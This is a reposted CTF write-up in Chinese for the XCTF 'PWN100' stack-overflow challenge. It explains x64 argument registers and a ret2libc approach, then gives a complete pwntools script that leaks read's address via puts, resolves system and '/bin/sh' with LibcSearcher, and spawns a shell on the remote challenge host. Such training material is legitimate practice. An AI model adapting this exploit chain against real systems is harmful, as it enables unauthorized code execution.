攻防世界(Pwn) PWN100
生活随笔
收集整理的這篇文章主要介紹了
攻防世界(Pwn) PWN100
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
同時這里還存在一個 v1溢出點
我們知道x86都是靠棧來傳遞參數的而x64換了它順序是rdi, rsi, rdx, rcx, r8,
r9,如果多于6個參數才會用棧我們要先知道這個特性
這題,里面既沒有現成的system也沒有/bin/sh字符串,也沒有提供libc.so給我們,那么我們要做的就是想辦法泄露libc地址,拿到system函數和/bin/sh字符串,這題呢,我們可以利用put來泄露read函數的地址,然后再利用LibcSearcher查詢可能的libc
這題ROP,我們先構造payload來執行puts函數泄露read的地址
對此過程生疏的可以看看這篇文章 CTF(Pwn) Rop + ret2libc 題型 常規解法思路 (初級)
from pwn import* from LibcSearcher import* p=remote("111.200.241.244",49392) elf =ELF('./1') read_got = elf.got['read'] puts_plt = elf.plt['puts'] main_addr=0x4006B8 rdi=0x400763 payload='a'*(0x40+0x8)+p64(rdi)+p64(read_got)+p64(puts_plt)+p64(main_addr) payload=payload.ljust(200,'a') p.send(payload) p.recvline() read_addr=u64(p.recvuntil('\n')[:-1].ljust(8,'\0')) libc = LibcSearcher('read',read_addr) base=read_addr - libc.dump('read') system_addr = base+libc.dump('system') binsh=base+libc.dump('str_bin_sh') payload='a'*(0x40+0x8)+p64(rdi)+p64(binsh)+p64(system_addr) payload=payload.ljust(200,'a') p.sendline(payload) p.interactive()具體EXP就不解釋了 有問題歡迎留言
總結
以上是生活随笔為你收集整理的攻防世界(Pwn) PWN100的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 攻防世界(pwn) level3
- 下一篇: 加速安装LibcSeacher